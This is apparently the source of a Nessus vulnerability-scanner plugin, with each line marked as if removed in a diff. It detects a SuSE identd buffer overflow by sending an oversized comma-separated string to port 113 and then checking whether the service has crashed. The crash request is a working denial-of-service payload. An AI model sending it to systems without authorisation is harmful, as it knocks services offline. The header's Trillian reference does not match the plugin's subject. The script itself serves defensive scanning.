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- #
- # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
- #
- # See the Nessus Scripts License for details
- #
- ##############
- # References:
- ##############
- #
- # Date: Sun, 15 Sep 2002 04:04:09 +0000
- # From: "Lance Fitz-Herbert" <fitzies@HOTMAIL.COM>
- # Subject: Trillian .74 and below, ident flaw.
- # To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
- #
-
- if(description)
- {
- script_id(10560);
- script_bugtraq_id(587);
- script_cve_id("CVE-1999-0746");
- script_version ("$Revision: 1.10 $");
-
-
- name["english"] = "SuSE's identd overflow";
- name["francais"] = "Buffer overflow dans le identd de SuSE";
- script_name(english:name["english"], francais:name["francais"]);
-
- desc["english"] = "
- Ident is a protocol which gives to the remote server
- the name of the user who initiated a given connection.
- It's mainly used by IRC, SMTP and POP servers to obtain
- the login name of the person who is using their services.
-
- There is a flaw in the remote identd daemon which allows anyone
- to crash this service remotely.
-
- Solution : disable this service if you do not use it, or upgrade
- Risk factor : Low";
-
- desc["francais"] = "
- Ident est un protocole qui permet α un serveur donnΘ d'obtenir
- le nom de l'utilisateur qui a Θtablit une connection avec lui.
- Il est principalement utilisΘ par les serveur d'IRC, SMTP et POP
- pour enregistrer le nom de login de la personne qui utilise leurs
- services.
-
- Il y a un bug dans le service identd distant qui permet α n'importe
- qui de faire planter ce service α distance.
-
- Solution : dΘsactivez ce service si vous ne l'utilisez pas, ou bien
- mettez votre daemon α jour
- Facteur de risque : Faible";
-
- script_description(english:desc["english"], francais:desc["francais"]);
-
- summary["english"] = "crashes the remote identd";
- summary["francais"] = "plantes le identd distant";
- script_summary(english:summary["english"], francais:summary["francais"]);
-
- script_category(ACT_DENIAL);
-
-
- script_copyright(english:"This script is Copyright (C) 2000 Renaud Deraison",
- francais:"Ce script est Copyright (C) 2000 Renaud Deraison");
- family["english"] = "Denial of Service";
- family["francais"] = "DΘni de service";
- script_family(english:family["english"], francais:family["francais"]);
- script_dependencie("find_service.nes");
- script_require_ports("Services/auth", 113);
- exit(0);
- }
-
- #
- # The script code starts here
- #
-
- port = get_kb_item("Services/auth");
- if(!port) port = 113;
- if(!get_port_state(port))exit(0);
-
-
- soc = open_sock_tcp(port);
- if(soc)
- {
- req = string(crap(4096), ",", crap(4096), "\r\n");
- send(socket:soc, data:req);
- sleep(2);
- close(soc);
-
- soc = open_sock_tcp(port);
- if(!soc)security_hole(port);
- }
-